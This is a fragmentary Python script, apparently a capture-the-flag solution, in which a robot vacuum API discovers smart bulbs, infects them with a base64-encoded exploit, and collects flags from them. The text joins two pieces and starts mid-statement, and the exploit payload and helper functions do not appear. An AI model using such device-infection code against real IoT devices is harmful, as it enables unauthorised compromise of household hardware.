from api import VacuumCleaner, MoveDirection from time import sleep if __name__ == '__main__': cleaner = VacuumCleaner() cleaner.send_debug_message("My device ID: " + cleaner.get_dev_id()) sleep(61) cleaner.send_debug_message("Discovered things (1): {}".format(cleaner.discover_things())) cleaner.move(MoveDirection.FORWARD) sleep(61) cleaner.send_debug_message("Discovered things (2): {}".format(cleaner.discover_things()))
"Did not receive flag from : {}".format(device_name)) return "" if __name__ == '__main__': flags = "" cleaner = VacuumCleaner() exploit = base64.b64decode(EXPLOIT_4) # infect first bulb infect_device(cleaner) time.sleep(15) things = cleaner.discover_things() for device in things: cleaner.send_message(device, "FLAGFLAGFLAG" + cleaner.get_dev_id()[:10]) # wait for result flags += wait_flag(cleaner, "P1_") things = cleaner.discover_things() for device in things: cleaner.send_message(device, "STOPSTOPSTOP") dump_flag(cleaner, flags) flags = "" # go to second bulb for i in range(0, 7): cleaner.move(MoveDirection.FORWARD)